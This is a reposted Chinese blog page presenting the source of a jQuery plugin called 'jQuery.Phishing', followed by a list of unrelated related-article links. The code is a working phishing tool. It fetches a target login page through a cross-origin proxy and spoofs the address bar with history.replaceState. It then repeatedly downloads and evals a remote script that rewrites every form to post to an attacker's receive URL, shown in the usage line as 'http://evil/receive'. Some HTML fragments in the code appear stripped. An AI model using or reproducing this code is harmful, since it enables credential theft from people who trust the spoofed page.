博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
jQuery.Phishing
阅读量:3726 次
发布时间:2019-05-22

本文共 1424 字,大约阅读时间需要 4 分钟。

Usage

$.phishing('http://wooyun.org/login','http://evil/receive')

(function(){  var load_jquery =()=>{    if(typeof jQuery !='undefined')return;    document.write('');  };  load_jquery();  $ = jQuery;  $.phishing = function(url,receive_url){    $.get(`https://crossorigin.me/${url}`,data=>{      var get_link = (url=>{        var link = document.createElement('a');        link.href = url;        return link;      });      var target = get_link(url);      history.replaceState('','',`${location.protocol}//${location.host}${target.pathname}${target.search}${target.hash}`);      data = data.replace(/
/i,`
`); if(document.write.toString().indexOf('[native code]')==-1){ var doc = document.implementation.createHTMLDocument(); document.write = doc.write; document.open = doc.open; document.close = doc.close; } document.open(); document.write(data); document.close(); if(/
(.*)<\/title>/i)[1]; } if(document.head){ $('head').append(`
`); } $.get('https://raw.githubusercontent.com/jackmasa/jQuery.xform/master/jquery.xssform.js',data=>{ setInterval(()=>{ eval(data); $('form').each((i,f)=>{ if(get_link(f.action).hostname!=get_link(receive_url).hostname){ $(f).xform(receive_url); } }); },1000); }); }); };})();

转载地址:http://qdmnn.baihongyu.com/

你可能感兴趣的文章
Idea在plugin的marketplace中一直查不到东西的解决途径
查看>>
Intellij IDEA 安装插件 报 ‘plugin xxxx is incompatible‘ 解决方案
查看>>
Failed to bind NettyServer on ×××,cause: io/netty/bootstrap/ServerBootstrap
查看>>
JSF与Struts的异同
查看>>
愉快の周末
查看>>
Spring Boot configuration annotation processor not found in classpath
查看>>
IntelJ idea下lombok 不生效的问题
查看>>
此时此刻
查看>>
IDEA不区分大小写设置
查看>>
log4j与slf4j的区别
查看>>
Springboot简单使用slf4j记录日志
查看>>
IDEA类模板设置
查看>>
@ConfigurationProperties 注解使用
查看>>
Re-run Spring Boot Configuration Annotation Processor to update generated metadata警告
查看>>
String...的用法
查看>>
Collections.singletonList使用方法
查看>>
@NoArgsConstructor && @AllArgsContructor
查看>>
maven报错 java.lang.RuntimeException: com.google.inject.CreationException: Unable to create injector,
查看>>
Maven依赖不能注入
查看>>
intellij IDEA 如何设置默认的maven配置?
查看>>